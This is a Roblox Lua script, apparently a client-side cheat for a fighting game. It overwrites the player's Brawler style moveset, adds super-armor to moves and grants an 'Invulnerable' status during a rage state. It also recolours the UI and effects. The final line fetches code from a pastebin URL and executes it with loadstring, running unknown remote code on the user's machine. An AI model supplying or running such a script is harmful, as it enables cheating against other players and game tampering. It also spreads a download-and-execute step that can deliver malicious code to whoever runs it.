local rep = game:GetService("ReplicatedStorage") local plr = game:GetService("Players").LocalPlayer local char = plr.Character local humanoid = char.Humanoid local pgui = plr.PlayerGui local status = plr.Status local interf = pgui.Interface local moves = rep.Moves local Main = interf.Battle.Main local repstor = game:GetService("ReplicatedStorage") local brawl = repstor.Styles.Brawler brawl.VisualName.Value = "Villain" brawl.Color.Value = Color3.new(0.95, 0.05, 0.1) for i = 1, 9 do local rushName = "Rush"..i local rushValue = "BAttack"..((i-1) % 3 + 1) if i == 4 or i == 6 or i == 8 then rushValue = "BAttack2" elseif i == 7 then rushValue = "BAttack3" elseif i == 5 or i == 9 then rushValue = "BAttack1" end if brawl:FindFirstChild(rushName) then brawl[rushName].Value = rushValue else local v = Instance.new("StringValue", brawl) v.Name = rushName v.Value = rushValue end end for i = 1, 10 do local strikeName = "Strike"..i local strikeValue if i == 1 then strikeValue = "龍Strike1" elseif i == 2 or i == 6 or i == 10 then strikeValue = "BStrike2" elseif i == 3 or i == 5 or i == 7 or i == 9 then strikeValue = "BStrike3" elseif i == 4 or i == 8 then strikeValue = "BStrike4" end if brawl:FindFirstChild(strikeName) then brawl[strikeName].Value = strikeValue else local v = Instance.new("StringValue", brawl) v.Name = strikeName v.Value = strikeValue end end for i = 2, 10 do local strikeName = "2Strike"..i local strikeValue if i == 2 or i == 6 or i == 10 then strikeValue = "B2Strike1" elseif i == 3 or i == 5 or i == 7 or i == 9 then strikeValue = "B2Strike2" elseif i == 4 or i == 8 then strikeValue = "B2Strike3" end if brawl:FindFirstChild(strikeName) then brawl[strikeName].Value = strikeValue else local v = Instance.new("StringValue", brawl) v.Name = strikeName v.Value = strikeValue end end brawl.Grab.Value = "GGrab" brawl.BlockStrike.Value = "GuruStumble" brawl.Throw.Value = "T_GrabExpire" brawl.StanceStrike.Value = "TigerDrop" brawl.H_Fallen.Value = "H_FallenStomp" brawl.H_FallenDown.Value = "H_FallenKick" if game.ReplicatedStorage.Styles.Brawler:FindFirstChild("Taunt") then v = game.ReplicatedStorage.Styles.Brawler["Taunt"] else v = Instance.new("StringValue", game.ReplicatedStorage.Styles.Brawler) end v.Value = 'GoonTaunt' v.Name = "Taunt" local moveNames = { "BAttack1", "BAttack2", "BAttack3", "BAttack4", "BStrike1", "BStrike2", "BStrike3", "BStrike4", "BStrike5", "B2Strike1", "B2Strike2", "B2Strike3", "B2Strike4" } for _, name in ipairs(moveNames) do if moves:FindFirstChild(name) then if not moves[name]:FindFirstChild("Trail") then local trail = Instance.new("StringValue") trail.Name = "Trail" trail.Parent = moves[name] end if not moves[name]:FindFirstChild("SuperArmor") then Instance.new("Folder", moves[name]).Name = "SuperArmor" end end end local ts = game:GetService("TweenService") local ti = TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out) local function remove_brightness(color) local h,s,v = color:ToHSV() return Color3.fromHSV(h, s, 1) end plr.Character.DescendantAdded:Connect(function(v) if v.ClassName:find("Trail") then local highlight = Instance.new("Highlight", plr.Character.RightHand) local fadeout = ts:Create(highlight, ti, {FillTransparency = 1}) local style = plr.Status.Style.Value local style_obj = rep.Styles:FindFirstChild(style) local color = style_obj.Color highlight.FillColor = color.Value highlight.Adornee = v.Parent highlight.OutlineTransparency = 1 highlight.FillTransparency = 1 ts:Create(highlight, ti, {FillTransparency = 0.2}):Play() fadeout.Completed:Once(function() highlight:Destroy() end) v.Destroying:Once(function() fadeout:Play() end) end end) local function invuln(YesOrNo) if YesOrNo == "Yes" then local invul = Instance.new("Folder", status) invul.Name = "Invulnerable" else if status:FindFirstChild("Invulnerable") then status.Invulnerable:Destroy() end end end status.ChildAdded:Connect(function(CD) wait(0.05) if CD.Name == "ANGRY" then if status.ANGRY:FindFirstChild("Type") then if status.ANGRY.Type.Value == "Resist" then invuln("Yes") end end end end) status.ChildRemoved:Connect(function(CD) if CD.Name == "ANGRY" then invuln("No") end end) local function UpdateStyleColors() local colorSequence = ColorSequence.new({ ColorSequenceKeypoint.new(0, brawl.Color.Value), ColorSequenceKeypoint.new(1, brawl.Color.Value) }) Main.Heat.Fill.ImageColor3 = brawl.Color.Value Main.Heat.Fill2.ImageColor3 = brawl.Color.Value Main.Heat.ClimaxFill.ImageColor3 = brawl.Color.Value Main.Heat.ClimaxFill2.ImageColor3 = brawl.Color.Value Main.XP.Fill.ImageColor3 = brawl.Color.Value return colorSequence end local function UpdateParticles(colorSequence) if not char then return end local parts = { "Fire_Main", "Fire_Secondary", "Lines1", "Lines2", "Sparks", "TimeFor" } for _, partName in ipairs(parts) do local part = char.HumanoidRootPart:FindFirstChild(partName) if part then if part:IsA("ParticleEmitter") then part.Color = colorSequence if partName == "Fire_Main" then part.Rate = status.Heat.Value >= 100 and 115 or status.Heat.Value >= 75 and 85 or 80 elseif partName == "Fire_Secondary" then part.Rate = status.Heat.Value >= 100 and 90 or status.Heat.Value >= 75 and 80 or 70 elseif partName == "Lines1" or partName == "Lines2" then part.Rate = status.Heat.Value >= 100 and 60 or status.Heat.Value >= 75 and 40 or 20 end end end end if char.UpperTorso:FindFirstChild("r2f_aura_burst") then local aura = char.UpperTorso["r2f_aura_burst"] aura.Lines1.Color = colorSequence aura.Lines2.Color = colorSequence aura.Flare.Color = colorSequence aura.Smoke.Color = colorSequence local showMaxHeat = status.Heat.Value >= 100 aura.Lines1.Enabled = showMaxHeat aura.Flare.Enabled = showMaxHeat end if char.UpperTorso:FindFirstChild("Evading") then char.UpperTorso.Evading.Color = colorSequence end end local colorSeq = UpdateStyleColors() UpdateParticles(colorSeq) local pgui = game.Players.LocalPlayer.PlayerGui local interf = pgui.Interface local repstor = game.ReplicatedStorage interf.Client.Disabled = true task.wait(0.1) interf.Client.Disabled = false loadstring(game:HttpGet("https://pastebin.com/raw/m1byVjga"))()